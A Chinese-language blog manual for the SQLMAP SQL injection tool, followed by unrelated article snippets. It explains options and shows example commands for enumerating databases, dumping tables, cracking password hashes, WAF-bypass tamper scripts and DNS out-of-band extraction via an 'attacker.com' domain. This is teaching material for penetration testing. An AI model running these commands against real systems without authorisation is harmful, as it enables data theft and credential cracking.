当前位置: 首页 > news >正文

[网安工具] SQL 注入自动探测工具 —— SQLMAP 使用手册

🌟想了解其它网安工具?看看这个:[网安工具] 网安工具库 —— 工具管理手册

https://github.com/sqlmapproject/sqlmaphttps://github.com/sqlmapproject/sqlmap用法 | sqlmap 用户手册https://sqlmap.highlight.ink/usage

0x01:SQLMAP 工具简介

SQLMap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定 URL 的 SQL 注入漏洞。SQLMAP 的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

0x02:SQLMAP 使用教程

  • SQLMAP — SQLMAP 工具安装

  • SQLMAP 漏洞探测

    • SQLMAP 漏洞探测 —— GET 型注入

    • SQLMAP 漏洞探测 —— POST 型注入

  • SQLMAP 漏洞利用

    • SQLMAP 漏洞利用 —— 获取数据库信息

    • SQLMAP 漏洞利用 —— 网站 GetShell

0x03:SQLMAP 参数手册

语法: python sqlmap.py [OPTIONS]
​
# --level 执行测试的等级(1~5,默认为 1)
#    --level 参数数值 >= 2 时会检查 cookie 字段
#    --level 参数数值 >= 3 时会检查 user-agent 和 referer 字
# --risk  测试 Payload 的风险等级(1~3,默认为 1)
#    --risk 1: 使用安全的 Payload 进行测试
#    --risk 2: 添加基于时间盲注的 Payload 进行测试
#    --risk 3: 添加基于 OR 的布尔盲注 Payload 进行测试
# 笔者备注:SQLMAP 默认的 UA 很明显,建议运行时开启: --random-agent 选项 

0x0301:SQLMAP 辅助参数

OPTIONS含义实例
-h, --help显示基本帮助信息并退出sqlmap.py -h
-hh显示高级帮助信息并退出sqlmap.py -hh
--version显示程序版本信息并退出sqlmap.py --version
-v VERBOSE输出信息详细程度级别(0-6,默认为 1)sqlmap.py -u <url> -v 2

参数详解:-v VERBOSE

参考链接:输出详细等级 | sqlmap 用户手册

该选项用于设置输出信息的详细等级,共有 7 个级别。默认级别为 1。输出的信息包括普通信息、警告、错误、关键信息和 Python 出错回溯信息(如果有的话)。

  • -v 0:只输出 Python 出错回溯信息,错误和关键信息。

  • -v 1:增加输出普通信息和警告信息。

  • -v 2:增加输出调试信息。

  • -v 3:增加输出已注入的 Payloads。

  • -v 4:增加输出 HTTP 请求。

  • -v 5:增加输出 HTTP 响应头。

  • -v 6:增加输出 HTTP 响应内容。

0x0302:SQLMAP 目标格式参数(必选)

至少提供一个以下选项以供 SQLMAP 确定测试目标(笔者只列举常用的命令)。

OPTIONS含义实例
-u URL, --url=URL目标 URLsqlmap.py -u "http://test.com/?id=1&uid=2"
-d DIRECT可直接连接数据库的地址字符串sqlmap.py -d "mysql://root:root@localhost:3306/" --dbs
-r REQUESTFILE从文件中读取 HTTP 请求sqlmap.py -r POSTDATA.txt
-m BULKFILE从文本文件中获取批量目标sqlmap.py -m URLLISTS.txt

参数详解:-d DIRECT

使用该参数可以直接让 SQLMAP 连接目标数据库,并尝试读取内部信息。 DIRECT 的格式有以下两种(下面的 DBMS 代表对应的数据库名称,如 MySQL,就是 mysql):

  • DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME

    • 该格式适用于:MySQL、Oracle、Microsoft SQL Server、PostgreSQL 等数据库。

  • DBMS://DATABASE_FILEPATH

    • 该格式适用于:SQLite、Microsoft Access、Firebird 等数据库。

0x0303:SQLMAP 请求控制参数

以下选项用于指定 SQLMAP 如何连接目标 URL。

OPTIONS含义实例
-A AGENT设置 HTTP User-Agent 头部值
--random-agent使用随机的 HTTP User-Agent
-H HEADER设置额外的 HTTP 头参数
--method=METHOD强制使用提供的 HTTP 方法--method=PUT
--data=DATA使用 POST 发送数据串--data="id=1"
--param-del覆盖默认参数分割符(&--data="k=foo;id=1" --param-del=";"
--cookie=COOKIE指定 HTTP Cookie--cookie="PHPSESSID=a8d127e..."
--cookie-del=CO设置 Cookie 分割符--cookie-del=";"
--referer=REFE指定 HTTP REFERER
--proxy=PROXY使用代理连接目标 URL
--delay=DELAY设置每个 HTTP 请求的延迟秒数
--timeout=TIME设置连接响应的有效秒数(默认为 30)
--retries=RET连接超时时重试次数(默认为 3)
--skip-urlencode不对 Payload 数据进行 URL 编码
--csrf-token=CSRF设置网站用来反 CSRF 攻击的 Token
--csrf-url=CSRFURL指定可提取防 CSRF 攻击 Token 的 URL
--csrf-method=CSRF指定访问防 CSRF Token 页面时使用的 HTTP 方法
--csrf-retries=CSRF指定获取防 CSRF Token 的重试次数(默认为 0)
--force-ssl强制使用 SSL/HTTPS
--chunked使用 HTTP 分块传输编码(POST)请求
--hpp使用 HTTP 参数污染攻击
--eval=EVALCODE在发起请求前执行给定的 Python 代码

SQLMAP 特性解析:

Cookie 在通信期间的任何时刻,如果 Web 应用程序的响应包含 Set-Cookie 响应头,SQLMAP 将在所有其他 HTTP 请求中自动使用它的值作为 Cookie 的值。SQLMAP 也将自动测试这些值是否存在 SQL 注入漏洞。

该特性可以通过开关 --drop-set-cookie 来关闭(SQLMAP 将会忽略任何 Set-Cookie 响应头)。

0x0304:SQLMAP 性能优化参数

以下选项用于优化 SQLMAP 的性能:

OPTIONS含义实例
-o开启所有优化开关
--predict-alive预测常用请求的输出
--keep-alive使用持久的 HTTP(S)连接
--null-connection仅获取页面大小而非实际的 HTTP 响应
--threads=THREADS设置 HTTP(S)请求并发最大值(最大为 10)

0x0305:SQLMAP 测试项目参数(了解)

以下选项用于指定要测试的参数,并且提供自定义注入 Payloads 和篡改参数的脚本:

OPTIONS含义实例
-p指定需要测试的参数,与 --level 冲突-p "id,user-agent"
--skip指定要跳过的参数--skip "user-agent"
--param-exclude用正则表达式排除参数
--dbms=DBMS指定后端 DBMS 类型
--os=OS指定后端 DBMS 的操作系统类型--os="Linux"
--prefix=PREFIX注入 Payload 的前缀字符串
--suffix=SUFFIX注入 Payload 的后缀字符串
--tamper=TAMPER用给定脚本修改注入数据

SQLMAP 参数解析:--prefix & --suffix

当用户已经推测出目标后端的查询语法,并希望利用 SQLMAP 进行辅助测试时,使用这两个参数可以满足我们的需求。

例如,已知目标后端的 SQL 模板如下:

$query = 'select * from users where id=("' . $_GET['id'] . '") LIMIT 0,1';

要检测并利用此 SQL 注入,我们可以直接为 SQLMAP 提供边界样板:

python sqlmap.py -u "http://test.com/?id=1" -p id --prefix "\")" --suffix "AND ('abc'=\"abc"

如上,这将使 SQLMAP 请求最终构成如下查询,以使查询语法正确:

$query = "select * from users where id=("1") [payload] AND ('abc'="abc") LIMIT 0, 1";

SQLMAP 参数解析:--tamper

SQLMAP 在默认情况下除了使用 CHAR() 函数防止出现单引号,没有对注入的数据进行修改。

我们可以利用 --tamper 参数对数据做修改来尝试绕过 WAF 等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过 WAF 的检测规则,其用法如下所示:

python sqlmap.py -u "http://test.com/?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

0x0306:SQLMAP 漏洞检测参数(了解)

以下选项用于自定义检测方式:

OPTIONS含义实例
--level=LEVEL设置测试等级(1-5,默认为 1)--level=5
--risk=RISK设置测试风险等级(1-3,默认为 1)--risk=3
--string=STRING用于确定查询结果为真时的字符串
--not-string=NO..用于确定查询结果为假时的字符串
--regexp=REGEXP用于确定查询结果为真时的正则表达式
--code=CODE用于确定查询结果为真时的 HTTP 状态码--code=200
--smart只在使用启发式检测时才进行彻底的测试
--text-only只根据页面文本内容对比页面--text-only
--titles只根据页面标题对比页面--titles

SQLMAP 参数详解:--level

LEVEL 选项用于指定进行检测的级别。总共有 5 个级别。默认级别为 1,该级别只会进行简单的检测。而如果 LEVEL 为 5 级,SQLMAP 会更详细地对更大范围的 Payloads 和 Boundaries(作为 SQL Payload 的前缀和后缀)进行检测。

该选项不止会影响 SQLMAP 使用的 Payload(data/xml/payloads 文件夹中存放),还会影响到相关的测试注入点:

  • LEVEL 1:测试 GET 与 POST 相关参数。

  • LEVEL 2:测试 HTTP Cookie 参数。

  • LEVEL 3:测试 HTTP UserAgent/Referer 字段值。

总而言之,如果 SQL 注入检测的难度越高,则需要设定越高的 --level 值。

SQLMAP 参数详解:--risk

该选项用于指定即将进行检测的风险程度。总共有三个风险级别:

  • --risk=1:默认状态,对大多数 SQL 注入点而言没有任何风险。

  • --risk=2:在默认状态基础上,添加大量时间型盲注(Time-Based Blind)语句测试。

  • --risk=3:在原基础上添加 OR 类型的布尔盲注(Boolean-Based Blind)测试。

在某些场景下,比如对 UPDATE 语句进行 SQL 注入,注入一个 OR 类型的 Payload 会导致目标数据库的所有记录进行更新,显然这个不是攻击者想要的结果。针对这个场景及其他相关场景,SQLMAP 引入了 --risk 这个选项。通过该选项,用户可以指定检测特定的 Payload,同时用户可以任意选择使用比较危险的操作。

0x0307:SQLMAP 检测技术参数(了解)

以下选项用于调整特定 SQL 注入技术的测试方法:

OPTIONS含义实例
--technique=TECH...使用的 SQL 注入技术,默认为(BEUSTQ--technique=ES
--time-sec=TIMESEC延迟 DBMS 的响应秒数(默认为 5)--time-sec=3
--union-cols=UCOLS设置联合查询注入测试的列数目范围(默认为 1-10)--union-cols 12-16
--union-char=UCHAR设置用于暴力猜解列数的字符(默认为 NULL--union-char 123
--union-from=UFROM设置联合查询注入 FROM 处用到的表--union-from=users
--dns-domain=DNS..设置用于 DNS 带外攻击的域名--dns-domain attacker.com
--second-url=SEC..设置二次注入响应的结果显示页面的 URL
--second-req=SEC..从文件中读取 HTTP 二次请求包并进行测试

SQLMAP 参数详解:--technique

此选项用于指定需要测试的 SQL 注入类型。默认情况下,SQLMAP 会测试它支持的所有类型/技术。

在某些情况下,你可能只想测试一种或几种特定类型的 SQL 注入,这便是该选项存在的作用。

此选项需要一个参数值,该参数是由 BEUSTQ 这样的字符任意组合成的字符串,每个字母代表不同的技术:

  • B:Boolean-based blind SQL Injection(布尔盲注)

  • E:Error-based SQL Injection(报错型盲注)

  • U:UNION query SQL Injection(联合查询注入)

  • S:Stacked queries SQL Injection(堆叠查询注入)

  • T:Time-based blind SQL Injection(时间型盲注)

  • Q:Inline Query Injection(内联查询注入)

注意:当你需要访问文件系统,接管操作系统或者访问 Windows 注册表配置单元时,提供的字符串必须包含代表堆叠查询技术的 S

0x0308:SQLMAP 指纹识别参数

OPTIONS含义实例
-f, --fingerprint执行广泛的 DBMS 版本指纹识别-f

SQLMAP 参数详解:-f OR --fingerprint

默认 SQLMAP 会自动帮你识别 WEB 应用后端 DBMS 的相关信息。在检测阶段结束并提醒用户进一步选择检测可注入参数的时候,SQLMAP 就会自动识别后端 DBMS 信息,并根据特定的数据库架构采用合适的 SQL 语法、方言和相关查询,进行进一步的攻击测试。

如果你想要采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别,可以提供 --fingerprint 开关。这样,SQLMAP 则会发起更多的请求,并对 DBMS 版本,甚至是操作系统、系统架构和补丁级别的信息展开指纹收集工作。

如果你想要更加精准的指纹识别结果,可以提供开关 -b 或者 --banner

0x0309:SQLMAP 信息枚举参数(必会)

以下选项用于获取后端 DBMS 的信息,表结构和数据表中的数据:

OPTIONS含义实例
-a, --all获取所有信息、数据(不建议)-a
-b, --banner获取 DBMS Banner-b
--current-user获取当前正在执行查询操作的 DBMS 用户名称--current-user
--current-db获取当前站点正在使用的数据库名称--current-db
--hostname获取 DBMS 服务器的主机名(例如:debian--hostname
--is-dba探测 DBMS 当前用户是否为 DBA(数据库管理员)--is-dba
--users枚举出 DBMS 所有用户--users
--passwords枚举出 DBMS 所有用户的密码哈希--passwords
--privileges枚举出 DBMS 所有用户的权限--privileges
--roles枚举出 DBMS 所有用户角色(DBMS 为 Oracle 时有用)--roles
--dbs枚举出 DBMS 所有数据库--dbs
--tables枚举出 DBMS 数据库中的所有数据表-D sys --tables
--columns枚举出 DBMS 表中的所有列-D security -T users --columns
--schema枚举出 DBMS 所有数据库的模式信息--schema
--count获取数据表条目数(数据表中有多少条数据)-D security --count
--dump导出 DBMS 数据库表项-T users --dump
--dump-all导出所有 DBMS 数据库表项--dump-all
--search搜索列,表和 / 或数据库名

SQLMAP 参数详解:-b OR --banner

大多数现代 DBMS 具有一个函数或者一个环境变量,它会返回 DBMS 版本,并最终在其补丁级别详细介绍底层系统。通常这个函数是 version(),环境变量是 @@version,这取决于目标 DBMS。

以下是一个针对 ORACLE 目标的示例:

python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner
​
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

SQLMAP 参数详解:--passwords

如果当前会话用户对包含 DBMS 用户密码信息的系统表有读取权限,则可以枚举每个 DBMS 用户的密码哈希值。

以下是一个针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
​
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:password hash: md5d7d880f96044b72d0bba108ace96d1e4clear-text password: testpass
[*] testuser [1]:password hash: md599e5ea7a6f7c3269995cba3927fd0093clear-text password: testpass

以上例子中,SQLMAP 不仅枚举了 DBMS 的用户及其密码,而且识别出密码哈希格式属于 PostgreSQL,并询问用户是否使用字典文件进行散列测试,并识别出了用户 postgres 的明文密码,它通常是 DBA,被识别出的还有用户 testuser 的密码。

你还可以使用 -U 选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值:

# 获取当前用户密码的哈希值,并爆破其明文密码
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --passwords -U CU

SQLMAP 参数详解:--tables & --exclude-sysdbs & -D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定 DBMS 的数据表。

如果你不使用选项 -D 来指定数据库,则 SQLMAP 将枚举所有 DBMS 数据库的表。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。

注意:对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库的名称。

SQLMAP 参数详解:--columns & -C & -T & -D

如果当前会话用户对包含 DBMS 数据表信息的系统表有读取权限,则可以枚举出特定数据表的列名及其对应的数据类型。

此功能可以使用 -T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,则将使用当前的数据库名称。你还可以使用 -C 来指定要枚举的表列名。

注意:对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 WEB 应用程序用户连接到的数据库模式下的表,它们总是以pubilc 为别名。

SQLMAP 参数详解:--dump & --start & --stop & --first & --last & --pivot-column & --where

如果当前会话用户对特定的数据表有读取权限,则可以导出数据表条目。

此功能依赖 -T 来指定表名,还可以用选项 -D 来指定数据库名。如果提供了表名而不提供数据库名,则会使用当前的数据库。

以下是一个使用示例:

python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" -D security -T users --dump
​
[...]
[12:07:27] [INFO] table '`security`.users' dumped to CSV file 'C:\Users\Blue17\AppData\Local\sqlmap\output\localhost\dump\security\users.csv'

此开关也可用于导出指定数据库数据表的所有条目。你只需要提供开关 --dump 和选项 -D(不提供 -T-C)即可。

你还可以使用选项 -C 提供一个以逗号分隔的特定列名列表来导出数据。

SQLMAP 还会为每个表生成相应的 CSV 格式文本文件用于存储导出的数据。你可以通过提供大于或等于 1 的详细程度来查看 SQLMAP 所创建文件的绝对路径。

如果只是想导出特定范围内的条目,可以提供选项 --start 和/或 --stop,以指定从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目,就提供 --start 2 --stop 3

你还可以使用选项 --first--last 指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3 --last 5。此功能仅适用于盲注技术,因为报错型注入(Error-based)和联合查询注入(UNION query-based)技术不管列数据条目的长度如何,发起的请求数量是完全相同的。

有些情况下(例如:对于 Microsoft SQL Server,Sybase 和 SAP MaxDB),由于缺少类似的机制,无法使用 OFFSET m, n 直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot 列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot 列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column(例如: --pivot-column=id)。

如果要约束导出特定的列值(或范围),可以使用选项 --where。提供的逻辑运算将自动在 WHERE 子句内使用。例如,如果使用 --where="id>3",那么只有 id 值大于 3 的行会被获取(通过将 WHERE id>3 附加到使用的查询语句中)。

正如你可能已经注意到的,sqlmap 非常灵活:你可以将让其自动导出整个数据库表,或者非常精确地导出特定字符、列和范围的条目。

SQLMAP 参数详解:--dump-all & --exclude-sysdbs

如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目。

你还可以提供开关 --exclude-sysdbs 以排除所有的系统数据库。在这种情况下,SQLMAP 只会导出当前用户的数据库表条目。

注意:对于 Microsoft SQL Server,master 数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

0x04:SQLMAP 问题解决

Bug 描述:can't establish SSL connection

参考链接:sqlmap can't establish SSL connection

问题原因:网站是 HTTPS 的,需要 SSL 证书。

解决方法:添加 --force-ssl 参数和挂 BP 代理。

python sqlmap.py -u "http://xxx.com?xx=xx" --force-ssl --proxy=http://127.0.0.1:8080

0x05:SQLMAP 参考资料

11种常见SQLMAP使用方法详解_sqlmap语法的具体用法-CSDN博客文章浏览阅读2.6w次,点赞12次,收藏65次。一、SQLMAP用于Access数据库注入(1) 猜解是否能注入[AppleScript] 纯文本查看 复制代码?12win:python sqlmap.py -u"http://www.xxx.com/en/CompHonorBig.asp?id=7"Linux:.lmap_sqlmap语法的具体用法 https://blog.csdn.net/whatday/article/details/54766536
【SQL注入工具】SQLMap参数详解_sqlmap参数-t-CSDN博客文章浏览阅读4k次,点赞2次,收藏27次。文章目录前言1、基本参数2、显示调试信息3、风险等级4、批量测试多个注入点5、获取http请求注入6、处理Google搜索结果7、以POST方式提交参数8、指定参数连接符9、cookie注入10、referer/headers/proxy11、时间控制12、绕过策略13、手动指定测试参数14、指定参数前后闭合字符15、指定使用哪种探测技术16、UNION查询指定参数17、二阶注入18、搜索指定库/表/列19、--udf-inject/--shared-lib20、日志文件读取与写入21、默认yes22、编码_sqlmap参数-t https://blog.csdn.net/weixin_44032232/article/details/108365893
sqlmap简要手册 | 狼组安全团队公开知识库https://wiki.wgpsec.org/knowledge/tools/sqlmap.html

相关文章:

[网安工具] SQL 注入自动探测工具 —— SQLMAP 使用手册

&#x1f31f;想了解其它网安工具&#xff1f;看看这个&#xff1a;[网安工具] 网安工具库 —— 工具管理手册 https://github.com/sqlmapproject/sqlmaphttps://github.com/sqlmapproject/sqlmap用法 | sqlmap 用户手册https://sqlmap.highlight.ink/usage 0x01&#xff1a;S…...

Python数据结构与算法-基础预热篇

目录 语言基础 1.内置函数 1.1math库 1.2collections 1.2.1Counter&#xff1a;计数器 1.2.2deque双端对列 1.2.3defaultdict有默认值的字典 1.3heapq堆&#xff08;完全二叉树&#xff09; 1.4functool 1.5itertools 1.5.1无限迭代器 1.5.2有限迭代器 1.5.3排列组合迭代器 2.序…...

构建可扩展、可靠的网络抓取、监控和自动化应用程序的终极指南

大家好&#xff0c;这里是架构资源栈&#xff01;点击上方关注&#xff0c;添加“星标”&#xff0c;一起学习大厂前沿架构&#xff01; 无论您是企业主、营销人员还是软件开发人员&#xff0c;您都很有可能在某个时候使用过 Web 自动化工具。每个人都希望更聪明地工作&#xf…...

【蓝桥杯】重点冲刺

【最高优先级】必考核心算法(占分60%以上) 动态规划(DP) 🌟🌟🌟 背包问题:01背包、完全背包(必须掌握空间优化的一维写法) 线性DP:最长上升子序列(LIS)、最长公共子序列(LCS) 路径问题:网格路径计数(含障碍物)、最小路径和 经典模型:打家劫舍、股票买卖问…...

质量工程师的2025:从“找bug“到“造质量“的职业进化

想象一下&#xff0c;2025年的某天&#xff1a;阅读原文 早晨&#xff0c;AI测试助手已经自动运行了夜间回归测试&#xff0c;并将可疑问题标记出来 你喝着咖啡&#xff0c;通过质量数据看板分析系统健康度 下午的会议上&#xff0c;你正用业务语言向产品经理解释&#xff1a…...

2025年CNG 汽车加气站操作工题目分享

CNG 汽车加气站操作工题目分享&#xff1a; 单选题 1、CNG 加气站中&#xff0c;加气机的加气软管应&#xff08; &#xff09;进行检查。 A. 每天 B. 每周 C. 每月 D. 每季度 答案&#xff1a;A 解析&#xff1a;加气软管是加气操作中频繁使用的部件&#xff0c;每天检…...

【QT5 多线程示例】线程池

线程池 【C并发编程】&#xff08;九&#xff09;线程池 QThreadPool 和 QRunnable 是 Qt 提供的线程池管理机制。QRunnable 是一个任务抽象类&#xff1b;定义任务逻辑需要继承QRunnable 并实现 run() 方法。QThreadPool 负责管理线程&#xff0c;并将 QRunnable 任务分配到…...

飞致云荣获“Alibaba Cloud Linux最佳AI镜像服务商”称号

2025年3月24日&#xff0c;阿里云云市场联合龙蜥社区发布“2024年度Alibaba Cloud Linux最佳AI镜像服务商”评选结果。 经过主办方的严格考量&#xff0c;飞致云&#xff08;即杭州飞致云信息科技有限公司&#xff09;凭借旗下MaxKB开源知识库问答系统、1Panel开源面板、Halo开…...

FAST-LIVO2 Fast, Direct LiDAR-Inertial-Visual Odometry论文阅读

FAST-LIVO2 Fast, Direct LiDAR-Inertial-Visual Odometry论文阅读 论文下载论文翻译FAST-LIVO2: 快速、直接的LiDAR-惯性-视觉里程计摘要I 引言II 相关工作_直接方法__LiDAR-视觉&#xff08;-惯性&#xff09;SLAM_ III 系统概述IV 具有顺序状态更新的误差状态迭代卡尔曼滤波…...

kubesphere 终端shell连不上的问题

使用nginx代理kubesphere控制台会出现容器的终端shell连不上的问题 下面是一个样例配置可以解决这个问题&#xff1a; 注意修改为你的ip地址&#xff1a; upstream k8s { ip_hash; server masterip1:30880; server masterip2:30880; server masterip3:30880; } nginx.conf #…...

无人机,雷达定点飞行时,位置发散,位置很飘,原因分析

参考&#xff1a; 无人车传感器 IMU与GPS数据融合进行定位机制_gps imu 组合定位原始数-CSDN博客 我的无人机使用雷达定位&#xff0c;位置模式很飘 雷达的更新频率也是10HZ&#xff0c; 而px飞控的频率是100HZ&#xff0c;没有对两者之间的频率差异做出处理 所以才导致无人…...

外星人入侵(python设计小游戏)

这个游戏简而言之就是操作一个飞机对前方的飞船进行射击&#xff0c;和一款很久之前的游戏很像&#xff0c;这里是超级低配版那个游戏&#xff0c;先来看看效果图&#xff1a; 由于设计的是全屏的&#xff0c;所以电脑不能截图。。。。 下面的就是你操控的飞船&#xff0c;上面…...

Stereolabs ZED Box Mini:NVIDIA Orin™驱动,双GMSL2输入,智能机器视觉AI新选择”

Stereolabs近日推出了ZED Box Mini&#xff0c;这是一款专为视觉AI设计的紧凑型迷你电脑&#xff08;ECU&#xff09;。该产品搭载了NVIDIA Orin™系列处理器&#xff0c;具备强大的AI视觉处理能力&#xff0c;适用于机器人、智能基础设施和工业应用等多种场景。ZED Box Mini以…...

IP协议的介绍

网络层的主要功能是在复杂的网络环境中确定一个合适的路径.网络层的协议主要是IP协议.IP协议头格式如下: 1.4位版本号:指定IP协议的版本,常用的是IPV4,对于IPV4来说,这里的值就是4. 2.4位头部长度,单位也是4个字节,4bit表示的最大数字是15,因此IP头部的最大长度就是60字节 3.…...

【入门初级篇】布局类组件的使用(2)

【入门初级篇】布局类组件的使用&#xff08;2&#xff09; 视频要点 &#xff08;1&#xff09;2分栏场景介绍与实操演示 &#xff08;2&#xff09;3分栏场景介绍与实操演示 点击访问myBuilder产品运营平台 CSDN站内资源下载myBuilder 交流请加微信&#xff1a;MyBuilder8…...

高并发金融系统,“可观测-可追溯-可回滚“的闭环审计体系

一句话总结 在高并发金融系统中&#xff0c;审计方案设计需平衡"观测粒度"与"系统损耗"&#xff0c;通过双AOP实现非侵入式采集&#xff0c;三表机制保障操作原子性&#xff0c;最终形成"可观测-可追溯-可回滚"的闭环体系。 业务痛点与需求 在…...

(九)Spring Webflux

底层基于Netty实现的Web容器与请求/响应处理机制 参照&#xff1a;Spring WebFlux :: Spring Frameworkhttps://docs.spring.io/spring-framework/reference/6.0/web/webflux.html 一、组件对比 API功能 Servlet-阻塞式Web WebFlux-响应式Web 前端控制器 DispatcherServl…...

如何在Webpack中配置别名路径?

如何在Webpack中配置别名路径&#xff1f; 文章目录 如何在Webpack中配置别名路径&#xff1f;1. 引言2. 配置别名路径的基本原理3. 如何配置别名路径3.1 基本配置3.2 结合Babel与TypeScript3.2.1 Babel配置3.2.2 TypeScript配置 3.3 适用场景与最佳实践 4. 调试与常见问题4.1 …...

office_word中使用宏以及DeepSeek

前言 Word中可以利用DeepSeek来生成各种宏&#xff0c;从而生成我们需要各种数据和图表&#xff0c;这样可以大大减少我们手工的操作。 1、Office的版本 采用的是微软的office2016&#xff0c;如下图&#xff1a; 2、新建一个Word文档 3、开启开发工具 这样菜单中的“开发工具…...

利用GitHub Pages快速部署前端框架静态网页

文章目录 前言GitHub Pages 来部署前端框架&#xff08;Vue 3 Vite&#xff09;项目1、配置 GitHub Pages 部署2、将项目推送到 GitHub3、部署到 GitHub Pages4、访问部署页面5、修改代码后的更新部署顺序 前言 可以先参考&#xff1a; 使用 GitHub Pages 快速部署静态网页: …...

前端性能优化思路_场景题

20 万人同时在直播间打赏&#xff0c;前端优化需要考虑高并发、性能优化、流畅体验等问题&#xff0c;涉及 WebSocket 处理、消息去抖、虚拟列表优化、动画优化、CDN 加速 等多个方面。 WebSocket 高并发优化 &#xff08;1&#xff09;使用 WebSocket 替代轮询 轮询&#xf…...

45 55跳跃游戏解题记录

先是55跳跃游戏&#xff0c;暴力解法会怎样&#xff1f;会超出时间限制&#xff0c;而且有很多细节要注意&#xff1a; func canJump(nums []int) bool {// 处理空数组情况&#xff0c;当nums只剩一个元素时&#xff0c;nums[i:]导致越界。if len(nums) 0 {return false}// 如…...

一个简单的用C#实现的分布式雪花ID算法

雪花ID是一个依赖时间戳根据算法生成的一个Int64的数字ID&#xff0c;一般用来做主键或者订单号等。以下是一个用C#写的雪花ID的简单实现方法 using System; using System.Collections.Concurrent; using System.Diagnostics;public class SnowflakeIdGenerator {// 配置常量p…...

16个气象数据可视化网站整理分享

好的&#xff01;以下是关于“16个气象数据可视化网站整理分享”的软文&#xff1a; 16个气象数据可视化网站整理分享 气象数据可视化已成为现代气象研究、决策支持以及公众天气服务的重要组成部分。从天气预报到气候变化监测&#xff0c;全球许多气象数据可视化平台为专业人士…...

一周学会Flask3 Python Web开发-SQLAlchemy数据迁移migrate

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 模型类(表)不是一成不变的&#xff0c;当你添加了新的模型类&#xff0c;或是在模型类中添加了新的字段&#xff0c;甚至是修改…...

[原创](Modern C++)现代C++的关键性概念: 如何利用多维数组的指针安全地遍历所有元素

[作者] 常用网名: 猪头三 出生日期: 1981.XX.XX 企鹅交流: 643439947 个人网站: 80x86汇编小站 编程生涯: 2001年~至今[共24年] 职业生涯: 22年 开发语言: C/C、80x86ASM、Object Pascal、Objective-C、C#、R、Python、PHP、Perl、 开发工具: Visual Studio、Delphi、XCode、C …...

本地化智能运维助手:基于 LangChain 数据增强 和 DeepSeek-R1 的K8s运维文档检索与问答系统 Demo

写在前面 博文内容为基于 LangChain 数据增强 和 Ollams 本地部署 DeepSeek-R1实现 K8s运维文档检索与问答系统 Demo通过 Demo 对 LEDVR 工作流&#xff0c; 语义检索有基本认知理解不足小伙伴帮忙指正 &#x1f603;,生活加油 我看远山&#xff0c;远山悲悯 持续分享技术干货…...

中间件框架漏洞攻略

中间件&#xff08;英语&#xff1a;Middleware&#xff09;是提供系统软件和应⽤软件之间连接的软件&#xff0c;以便于软件各部件之间的沟通。 中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是&#xff1a;将应⽤程序运⾏环境与操作系统隔离&#xff0c;从⽽实…...

在 Ubuntu 上安装 Docker 的完整指南

1. 卸载旧版本(如有) 在安装新版本前,建议先卸载旧版本: sudo apt remove docker docker-engine docker.io containerd runc 2. 安装依赖包 更新软件包索引并安装必要的依赖: sudo apt update sudo apt install -y ca-certificates curl gnupg lsb-release 3. 添加 Do…...

Another Redis Desktop Manager下载安装使用

&#x1f91f;致敬读者 &#x1f7e9;感谢阅读&#x1f7e6;笑口常开&#x1f7ea;生日快乐⬛早点睡觉 &#x1f4d8;博主相关 &#x1f7e7;博主信息&#x1f7e8;博客首页&#x1f7eb;专栏推荐&#x1f7e5;活动信息 文章目录 Another Redis Desktop Manager下载安装使用…...

GitLab 中文版17.10正式发布,27项重点功能解读【一】

GitLab 是一个全球知名的一体化 DevOps 平台&#xff0c;很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料&#xff1a; 极狐GitLab 官网极狐…...

mysql慢查询日志

